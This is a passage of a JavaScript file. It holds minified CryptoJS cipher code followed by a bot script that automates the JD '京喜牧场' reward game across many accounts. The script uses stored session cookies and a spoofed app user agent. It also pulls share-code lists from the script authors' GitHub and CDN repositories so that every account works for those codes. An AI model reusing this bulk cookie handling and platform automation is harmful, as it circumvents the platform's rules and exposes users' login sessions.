9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜牧场'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//京喜APP的UA。领取助力任务奖励需要京喜APP的UA,环境变量:JX_USER_AGENT,有能力的可以填上自己的UA +$.inviteCodeList = []; +let cookiesArr = []; +let UA, token, UAInfo = {} +$.appId = 10028; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +let cardinfo = { + "16": "小黄鸡", + "17": "辣子鸡", + "18": "猪肚鸡", + "19": "椰子鸡" +} +const petInfo = { + "4": { + name: "猪肚鸡", + price: 412 * 1e3, + weights: 2288.889 // 每个蛋的成本 + }, + "5": { + name: "椰子鸡", + price: 3355 * 1e2, + weights: 2795.833 + }, + "3": { + name: "辣子鸡", + price: 2975 * 1e2, + weights: 2975.0 + }, + "1": { + name: "小黄鸡", + price: 25 * 1e4, + weights: 3125.0 + }, +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + console.log('京喜牧场\n' + + '更新时间:2021-11-7\n' + + '活动入口:京喜APP-我的-京喜牧场\n' + + '温馨提示:请先手动完成【新手指导任务】再运行脚本') + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + token = await getJxToken() + await pasture(); + await $.wait(2000); + } + $.res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jxmc.json') + if (!$.res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxmc.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + $.res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxmc.json') + } + $.res = [...($.res || []), ...(await getAuthorShareCode('https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jxmc2.json') || [])] + await shareCodesFormat() + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + $.index = i + 1; + UA = UAInfo[$.UserName] + token = await getJxToken() + if ($.newShareCodes && $.newShareCodes.length) { + console.log(`\n开始互助\n`); + for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { + console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) + $.delcode = false + $.code = $.newShareCodes[j]; + await takeGetRequest('help'); + await $.wait(2000); + if ($.delcode) { + $.newShareCodes.splice(j, 1) + j-- + continue + } + } + } else { + break + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function pasture() { + try { + $.homeInfo = {}; + $.petidList = []; + $.crowInfo = {}; + await takeGetRequest('GetHomePageInfo'); + if (JSON.stringify($.homeInfo) === '{}') { + console.log(`获取活动详情失败`); + return; + } else { + if (!$.homeInfo.petinfo) { + console.log(`\n温馨提示:${$.UserName} 请先手动完成【新手指导任务】再运行脚本再运行脚本\n`); + return; + } + try { + $.currentStep = oc(() => $.homeInfo.finishedtaskId) + console.log(`打印新手流程进度:当前进度:${$.currentStep},下一流程:${$.homeInfo.maintaskId}`) + if ($.homeInfo.maintaskId !== "pause" || isNew($.currentStep)) { + console.log(`开始初始化`) + $.step = isNew($.currentStep) ? isNew($.currentStep, true) : $.homeInfo.maintaskId + await takeGetRequest('DoMainTask'); + for (let i = 0; i < 20; i++) { + if ($.DoMainTask.maintaskId !== "pause") { + await $.wait(2000) + $.currentStep = oc(() => $.DoMainTask.finishedtaskId) + $.step = $.DoMainTask.maintaskId + await takeGetRequest('DoMainTask'); + } else if (isNew($.currentStep)) { + $.step = isNew($.currentStep, true) + await takeGetRequest('DoMainTask'); + } else { + console.log(`初始化成功\n`) + break + } + } + } + } catch (e) { + console.warn('活动初始化错误') + } + console.log('获取活动信息成功'); + console.log(`互助码:${$.homeInfo.sharekey}`); + $.taskList = [], $.dateType = ``, $.source = `jxmc`, $.bizCode = `jxmc`; + await takeGetRequest('GetUserTaskStatusList'); + for (let key of Object.keys($.taskList)) { + let vo = $.taskList[key] + if (vo.taskName === "邀请好友助力养鸡" || vo.taskType === 4) { + if (vo.completedTimes >= vo.configTargetTimes) { + console.log(`助力已满,不上传助力码`) + } else { + await uploadShareCode($.homeInfo.sharekey) + $.inviteCodeList.push($.homeInfo.sharekey); + await $.wait(2000) + } + } + } + const petNum = (oc(() => $.homeInfo.petinfo) || []).length + await takeGetRequest('GetCardInfo'); + if ($.GetCardInfo && $.GetCardInfo.cardinfo) { + let msg = ''; + for (let vo of $.GetCardInfo.cardinfo) { + if (vo.currnum > 0) { + msg += `${vo.currnum}张${cardinfo[vo.cardtype]}卡片 ` + } + if (petNum < 6) { + $.cardType = vo.cardtype + for (let i = vo.currnum; i >= vo.neednum; i -= vo.neednum) { + console.log(`${cardinfo[vo.cardtype]}卡片已满${vo.neednum}张,去兑换...`) + await $.wait(5000) + await takeGetRequest("Combine") + } + } + } + console.log(`\n可抽奖次数:${$.GetCardInfo.times}${msg ? `,拥有卡片:${msg}` : ''}\n`) + if ($.GetCardInfo.times !== 0) 